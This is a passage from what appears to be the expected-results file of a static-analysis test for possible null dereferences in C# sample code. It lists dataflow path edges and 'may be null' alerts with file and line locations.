... : ... | D.cs:244:9:247:25 | if (...) ... | -| D.cs:241:29:241:32 | null | D.cs:241:21:241:37 | ... ? ... : ... | -| D.cs:241:36:241:37 | "" | D.cs:241:21:241:37 | ... ? ... : ... | -| D.cs:244:9:247:25 | if (...) ... | D.cs:245:13:245:13 | access to local variable o | -| D.cs:244:9:247:25 | if (...) ... | D.cs:247:13:247:13 | access to local variable o | -| D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | -| D.cs:258:16:258:23 | SSA def(o) | D.cs:266:9:267:25 | if (...) ... | -| D.cs:266:9:267:25 | if (...) ... | D.cs:266:13:266:27 | [true] ... is ... | -| D.cs:266:13:266:27 | [true] ... is ... | D.cs:267:13:267:13 | access to local variable o | -| D.cs:269:9:269:16 | SSA def(o) | D.cs:272:25:272:25 | access to local variable i | -| D.cs:272:25:272:25 | access to local variable i | D.cs:273:9:288:9 | {...} | -| D.cs:272:25:272:25 | access to local variable i | D.cs:290:9:291:25 | if (...) ... | -| D.cs:272:39:272:39 | access to local variable i | D.cs:272:25:272:25 | access to local variable i | -| D.cs:273:9:288:9 | {...} | D.cs:281:13:287:13 | if (...) ... | -| D.cs:281:13:287:13 | if (...) ... | D.cs:272:39:272:39 | access to local variable i | -| D.cs:283:17:283:24 | SSA def(o) | D.cs:285:28:285:30 | {...} | -| D.cs:283:17:283:24 | SSA def(o) | D.cs:286:17:286:30 | ...; | -| D.cs:285:28:285:30 | {...} | D.cs:286:17:286:30 | ...; | -| D.cs:286:17:286:30 | ...; | D.cs:272:39:272:39 | access to local variable i | -| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:13 | access to local variable o | -| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:25 | ...; | -| D.cs:290:9:291:25 | if (...) ... | D.cs:293:9:294:25 | if (...) ... | -| D.cs:291:13:291:25 | ...; | D.cs:293:9:294:25 | if (...) ... | -| D.cs:293:9:294:25 | if (...) ... | D.cs:294:13:294:13 | access to local variable o | -| D.cs:296:16:296:26 | SSA def(prev) | D.cs:297:25:297:25 | access to local variable i | -| D.cs:297:25:297:25 | access to local variable i | D.cs:298:9:302:9 | {...} | -| D.cs:298:9:302:9 | {...} | D.cs:300:17:300:20 | access to local variable prev | -| D.cs:304:16:304:23 | SSA def(s) | D.cs:307:13:311:13 | foreach (... ... in ...) ... | -| D.cs:307:13:311:13 | foreach (... ... in ...) ... | D.cs:312:13:313:29 | if (...) ... | -| D.cs:312:13:313:29 | if (...) ... | D.cs:312:17:312:23 | [true] !... | -| D.cs:312:17:312:23 | [true] !... | D.cs:313:17:313:17 | access to local variable s | -| D.cs:316:16:316:23 | SSA def(r) | D.cs:318:16:318:19 | access to local variable stat | -| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | -| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:41:318:44 | access to local variable stat | -| D.cs:318:16:318:62 | [false] ... && ... | D.cs:324:9:324:9 | access to local variable r | -| D.cs:318:41:318:44 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | -| D.cs:351:15:351:22 | SSA def(a) | D.cs:355:9:356:21 | for (...;...;...) ... | -| D.cs:355:9:356:21 | for (...;...;...) ... | D.cs:355:25:355:25 | access to local variable i | -| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:13 | access to local variable a | -| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:21 | ...; | -| D.cs:356:13:356:21 | ...; | D.cs:355:25:355:25 | access to local variable i | -| D.cs:360:20:360:30 | SSA def(last) | D.cs:361:29:361:29 | access to local variable i | -| D.cs:361:29:361:29 | access to local variable i | D.cs:363:13:363:16 | access to local variable last | -| D.cs:366:15:366:47 | SSA def(b) | D.cs:367:13:367:56 | [false] ... && ... | -| D.cs:367:13:367:56 | [false] ... && ... | D.cs:370:9:373:9 | for (...;...;...) ... | -| D.cs:370:9:373:9 | for (...;...;...) ... | D.cs:370:25:370:25 | access to local variable i | -| D.cs:370:25:370:25 | access to local variable i | D.cs:371:9:373:9 | {...} | -| D.cs:370:25:370:25 | access to local variable i | D.cs:372:13:372:13 | access to local variable b | -| D.cs:371:9:373:9 | {...} | D.cs:370:25:370:25 | access to local variable i | -| D.cs:378:19:378:28 | SSA def(ioe) | D.cs:382:9:385:27 | if (...) ... | -| D.cs:382:9:385:27 | if (...) ... | D.cs:385:13:385:15 | access to local variable ioe | -| D.cs:388:36:388:36 | SSA param(a) | D.cs:390:32:390:32 | 0 | -| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:32:390:32 | 0 | -| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:36:390:36 | access to parameter a | -| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | -| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | -| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | -| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | -| D.cs:390:36:390:36 | access to parameter a | D.cs:390:20:390:43 | ... ? ... : ... | -| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | -| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | -| D.cs:393:21:393:21 | access to local variable i | D.cs:395:20:395:20 | access to parameter a | -| D.cs:393:21:393:21 | access to local variable i | D.cs:397:9:397:44 | ... ...; | -| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | -| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | -| D.cs:397:9:397:44 | ... ...; | D.cs:397:32:397:32 | 0 | -| D.cs:397:20:397:43 | ... ? ... : ... | D.cs:398:21:398:21 | access to local variable i | -| D.cs:397:32:397:32 | 0 | D.cs:397:20:397:43 | ... ? ... : ... | -| D.cs:398:21:398:21 | access to local variable i | D.cs:399:9:401:9 | {...} | -| D.cs:398:21:398:21 | access to local variable i | D.cs:400:20:400:20 | access to parameter b | -| D.cs:399:9:401:9 | {...} | D.cs:398:21:398:21 | access to local variable i | -| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | -| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | -| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | -| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | -| D.cs:407:42:407:42 | access to parameter x | D.cs:407:42:407:63 | [false] ... && ... | -| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | -| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | -| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | -| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | -| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | -| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | -| D.cs:409:9:410:25 | if (...) ... | D.cs:410:13:410:13 | access to parameter y | -| D.cs:409:9:410:25 | if (...) ... | D.cs:411:9:412:25 | if (...) ... | -| D.cs:411:9:412:25 | if (...) ... | D.cs:412:13:412:13 | access to parameter x | -| E.cs:9:18:9:26 | SSA def(a2) | E.cs:10:22:10:54 | ... && ... | -| E.cs:10:22:10:54 | ... && ... | E.cs:12:38:12:39 | access to local variable a2 | -| E.cs:11:16:11:24 | SSA def(a3) | E.cs:12:22:12:52 | ... && ... | -| E.cs:12:22:12:52 | ... && ... | E.cs:14:13:14:14 | access to local variable a3 | -| E.cs:23:13:23:30 | SSA def(s1) | E.cs:24:33:24:36 | null | -| E.cs:24:18:24:41 | ... ? ... : ... | E.cs:26:9:27:26 | if (...) ... | -| E.cs:24:33:24:36 | null | E.cs:24:18:24:41 | ... ? ... : ... | -| E.cs:26:9:27:26 | if (...) ... | E.cs:27:13:27:14 | access to local variable s1 | -| E.cs:51:22:51:33 | SSA def(slice) | E.cs:53:16:53:19 | access to local variable iter | -| E.cs:53:16:53:19 | access to local variable iter | E.cs:54:9:63:9 | {...} | -| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:17 | access to local variable slice | -| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:27 | ...; | -| E.cs:61:13:61:27 | ...; | E.cs:53:16:53:19 | access to local variable iter | -| E.cs:66:40:66:42 | SSA param(arr) | E.cs:70:13:70:50 | ...; | -| E.cs:66:40:66:42 | SSA param(arr) | E.cs:72:9:73:23 | if (...) ... | -| E.cs:70:13:70:50 | ...; | E.cs:70:36:70:36 | 0 | -| E.cs:70:22:70:49 | ... ? ... : ... | E.cs:72:9:73:23 | if (...) ... | -| E.cs:70:36:70:36 | 0 | E.cs:70:22:70:49 | ... ? ... : ... | -| E.cs:72:9:73:23 | if (...) ... | E.cs:73:13:73:15 | access to parameter arr | -| E.cs:107:15:107:25 | SSA def(arr2) | E.cs:111:9:112:30 | for (...;...;...) ... | -| E.cs:111:9:112:30 | for (...;...;...) ... | E.cs:111:25:111:25 | access to local variable i | -| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:16 | access to local variable arr2 | -| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:30 | ...; | -| E.cs:112:13:112:30 | ...; | E.cs:111:25:111:25 | access to local variable i | -| E.cs:120:16:120:20 | [true] !... | E.cs:121:9:143:9 | {...} | -| E.cs:120:17:120:20 | access to local variable stop | E.cs:120:16:120:20 | [true] !... | -| E.cs:121:9:143:9 | {...} | E.cs:123:21:123:24 | access to local variable stop | -| E.cs:123:20:123:24 | [false] !... | E.cs:123:20:123:35 | [false] ... && ... | -| E.cs:123:20:123:24 | [true] !... | E.cs:123:29:123:29 | access to local variable j | -| E.cs:123:20:123:35 | [false] ... && ... | E.cs:120:17:120:20 | access to local variable stop | -| E.cs:123:20:123:35 | [true] ... && ... | E.cs:124:13:142:13 | {...} | -| E.cs:123:20:123:35 | [true] ... && ... | E.cs:125:33:125:35 | access to local variable obj | -| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [false] !... | -| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [true] !... | -| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [false] ... && ... | -| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [true] ... && ... | -| E.cs:124:13:142:13 | {...} | E.cs:128:21:128:23 | access to local variable obj | -| E.cs:124:13:142:13 | {...} | E.cs:141:17:141:26 | ...; | -| E.cs:137:25:137:34 | SSA def(obj) | E.cs:139:21:139:29 | continue; | -| E.cs:139:21:139:29 | continue; | E.cs:123:21:123:24 | access to local variable stop | -| E.cs:141:17:141:26 | ...; | E.cs:123:21:123:24 | access to local variable stop | -| E.cs:152:16:152:26 | SSA def(obj2) | E.cs:153:13:153:54 | [false] ... && ... | -| E.cs:153:13:153:54 | [false] ... && ... | E.cs:158:9:159:28 | if (...) ... | -| E.cs:158:9:159:28 | if (...) ... | E.cs:159:13:159:16 | access to local variable obj2 | -| E.cs:162:28:162:28 | SSA param(a) | E.cs:164:29:164:29 | 0 | -| E.cs:164:17:164:40 | ... ? ... : ... | E.cs:165:25:165:25 | access to local variable i | -| E.cs:164:29:164:29 | 0 | E.cs:164:17:164:40 | ... ? ... : ... | -| E.cs:165:25:165:25 | access to local variable i | E.cs:166:9:170:9 | {...} | -| E.cs:165:25:165:25 | access to local variable i | E.cs:167:21:167:21 | access to parameter a | -| E.cs:165:32:165:32 | access to local variable i | E.cs:165:25:165:25 | access to local variable i | -| E.cs:166:9:170:9 | {...} | E.cs:165:32:165:32 | access to local variable i | -| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | -| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | -| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:177:9:179:9 | {...} | -| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:178:13:178:15 | access to parameter obj | -| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:180:9:183:9 | if (...) ... | -| E.cs:175:33:175:37 | false | E.cs:175:19:175:42 | ... ? ... : ... | -| E.cs:177:9:179:9 | {...} | E.cs:180:9:183:9 | if (...) ... | -| E.cs:180:9:183:9 | if (...) ... | E.cs:181:9:183:9 | {...} | -| E.cs:181:9:183:9 | {...} | E.cs:184:9:187:9 | if (...) ... | -| E.cs:184:9:187:9 | if (...) ... | E.cs:186:13:186:15 | access to parameter obj | -| E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | -| E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | -| E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | -| E.cs:206:28:206:28 | SSA param(s) | E.cs:208:13:208:23 | [false] ... is ... | -| E.cs:208:13:208:23 | [false] ... is ... | E.cs:210:16:210:16 | access to parameter s | -| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | -| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:220:13:220:13 | access to local variable x | -| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:13 | access to local variable x | -| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:25 | ...; | -| E.cs:229:13:229:25 | ...; | E.cs:230:9:230:9 | access to local variable x | -| E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | -| E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | -| E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | -| E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | -| E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | -| E.cs:319:29:319:30 | SSA param(s1) | E.cs:321:20:321:21 | access to parameter s2 | -| E.cs:321:13:321:30 | [true] ... is ... | E.cs:323:13:323:14 | access to parameter s1 | -| E.cs:321:14:321:21 | ... ?? ... | E.cs:321:13:321:30 | [true] ... is ... | -| E.cs:321:20:321:21 | access to parameter s2 | E.cs:321:14:321:21 | ... ?? ... | -| E.cs:330:13:330:36 | SSA def(x) | E.cs:331:9:331:9 | access to local variable x | -| E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | -| E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | -| E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | -| E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | -| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | -| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | -| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | -| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | -| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | -| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | -| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | -| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | -| E.cs:384:9:385:24 | if (...) ... | E.cs:384:13:384:36 | [false] ... && ... | -| E.cs:384:9:385:24 | if (...) ... | E.cs:384:27:384:28 | access to parameter e2 | -| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:16:386:17 | access to parameter e1 | -| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:27:386:28 | access to parameter e2 | -| E.cs:384:27:384:28 | access to parameter e2 | E.cs:384:13:384:36 | [false] ... && ... | -| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | -| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | -| E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | -| E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | -| E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | -| E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... | -| E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s | -| Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... | -| Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... | -| Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... | -| Forwarding.cs:19:9:22:9 | if (...) ... | Forwarding.cs:19:13:19:23 | [false] !... | -| Forwarding.cs:19:13:19:23 | [false] !... | Forwarding.cs:24:9:27:9 | if (...) ... | -| Forwarding.cs:24:9:27:9 | if (...) ... | Forwarding.cs:29:9:32:9 | if (...) ... | -| Forwarding.cs:29:9:32:9 | if (...) ... | Forwarding.cs:34:9:37:9 | if (...) ... | -| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:35:9:37:9 | {...} | -| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:36:31:36:31 | access to local variable s | -| Forwarding.cs:35:9:37:9 | {...} | Forwarding.cs:40:27:40:27 | access to local variable s | -| GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:9:13:9:36 | [false] !... | -| GuardedString.cs:9:13:9:36 | [false] !... | GuardedString.cs:14:9:17:9 | if (...) ... | -| GuardedString.cs:14:9:17:9 | if (...) ... | GuardedString.cs:14:13:14:41 | [false] !... | -| GuardedString.cs:14:13:14:41 | [false] !... | GuardedString.cs:19:9:20:40 | if (...) ... | -| GuardedString.cs:19:9:20:40 | if (...) ... | GuardedString.cs:19:26:19:26 | 0 | -| GuardedString.cs:19:26:19:26 | 0 | GuardedString.cs:22:9:23:40 | if (...) ... | -| GuardedString.cs:22:9:23:40 | if (...) ... | GuardedString.cs:22:25:22:25 | 0 | -| GuardedString.cs:22:25:22:25 | 0 | GuardedString.cs:25:9:26:40 | if (...) ... | -| GuardedString.cs:25:9:26:40 | if (...) ... | GuardedString.cs:25:26:25:26 | 0 | -| GuardedString.cs:25:26:25:26 | 0 | GuardedString.cs:28:9:29:40 | if (...) ... | -| GuardedString.cs:28:9:29:40 | if (...) ... | GuardedString.cs:28:25:28:26 | 10 | -| GuardedString.cs:28:25:28:26 | 10 | GuardedString.cs:31:9:32:40 | if (...) ... | -| GuardedString.cs:31:9:32:40 | if (...) ... | GuardedString.cs:31:26:31:27 | 10 | -| GuardedString.cs:31:26:31:27 | 10 | GuardedString.cs:34:9:37:40 | if (...) ... | -| GuardedString.cs:34:9:37:40 | if (...) ... | GuardedString.cs:34:26:34:26 | 0 | -| GuardedString.cs:34:26:34:26 | 0 | GuardedString.cs:35:31:35:31 | access to local variable s | -| NullAlwaysBad.cs:7:29:7:29 | SSA param(s) | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | -| NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | -| Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | -| StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:15:16:15:16 | access to local variable s | -| StringConcatenation.cs:15:16:15:16 | access to local variable s | StringConcatenation.cs:16:17:16:17 | access to local variable s | -#select -| C.cs:64:9:64:10 | access to local variable o1 | C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | Variable $@ may be null at this access because of $@ assignment. | C.cs:62:13:62:14 | o1 | o1 | C.cs:62:13:62:46 | Object o1 = ... | this | -| C.cs:68:9:68:10 | access to local variable o2 | C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | C.cs:66:13:66:14 | o2 | o2 | C.cs:66:13:66:46 | Object o2 = ... | this | -| C.cs:95:15:95:15 | access to local variable o | C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | C.cs:94:13:94:13 | o | o | C.cs:94:13:94:45 | Object o = ... | this | -| C.cs:103:27:103:30 | access to parameter list | C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | Variable $@ may be null at this access because of $@ assignment. | C.cs:99:42:99:45 | list | list | C.cs:102:13:102:23 | ... = ... | this | -| C.cs:177:13:177:13 | access to local variable s | C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:151:13:151:13 | s | s | C.cs:178:13:178:20 | ... = ... | this | -| C.cs:203:13:203:13 | access to local variable s | C.cs:204:13:204:20 | SSA def(s) | C.cs:203:13:203:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:185:13:185:13 | s | s | C.cs:204:13:204:20 | ... = ... | this | -| C.cs:223:9:223:9 | access to local variable s | C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:210:13:210:13 | s | s | C.cs:222:13:222:20 | ... = ... | this | -| C.cs:242:13:242:13 | access to local variable s | C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:228:16:228:16 | s | s | C.cs:240:24:240:31 | ... = ... | this | -| D.cs:23:9:23:13 | access to parameter param | D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | Variable $@ may be null at this access because of $@ null argument. | D.cs:21:32:21:36 | param | param | D.cs:17:17:17:20 | null | this | -| D.cs:32:9:32:13 | access to parameter param | D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:26:32:26:36 | param | param | D.cs:28:13:28:25 | ... != ... | this | -| D.cs:62:13:62:14 | access to local variable o5 | D.cs:58:13:58:41 | SSA def(o5) | D.cs:62:13:62:14 | access to local variable o5 | Variable $@ may be null at this access because of $@ assignment. | D.cs:58:13:58:14 | o5 | o5 | D.cs:58:13:58:41 | String o5 = ... | this | -| D.cs:73:13:73:14 | access to local variable o7 | D.cs:68:13:68:34 | SSA def(o7) | D.cs:73:13:73:14 | access to local variable o7 | Variable $@ may be null at this access because of $@ assignment. | D.cs:68:13:68:14 | o7 | o7 | D.cs:68:13:68:34 | String o7 = ... | this | -| D.cs:82:13:82:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:82:13:82:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | -| D.cs:84:13:84:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:84:13:84:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | -| D.cs:91:13:91:14 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:94:21:94:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:94:21:94:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:98:21:98:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:98:21:98:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:102:31:102:32 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:102:31:102:32 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:105:19:105:20 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:105:19:105:20 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | -| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | -| D.cs:135:24:135:24 | access to parameter b | D.cs:125:44:125:44 | SSA param(b) | D.cs:135:24:135:24 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:44:125:44 | b | b | D.cs:128:20:128:28 | ... == ... | this | -| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | -| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | -| D.cs:151:9:151:11 | access to parameter obj | D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:149:36:149:38 | obj | obj | D.cs:152:17:152:27 | ... != ... | this | -| D.cs:171:9:171:11 | access to local variable obj | D.cs:163:16:163:25 | SSA def(obj) | D.cs:171:9:171:11 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | D.cs:163:16:163:18 | obj | obj | D.cs:163:16:163:25 | Object obj = ... | this | -| D.cs:245:13:245:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:245:13:245:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | -| D.cs:247:13:247:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:247:13:247:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | -| D.cs:253:13:253:14 | access to local variable o2 | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | D.cs:249:13:249:14 | o2 | o2 | D.cs:249:13:249:38 | String o2 = ... | this | -| D.cs:267:13:267:13 | access to local variable o | D.cs:258:16:258:23 | SSA def(o) | D.cs:267:13:267:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:258:16:258:23 | Object o = ... | this | -| D.cs:291:13:291:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ 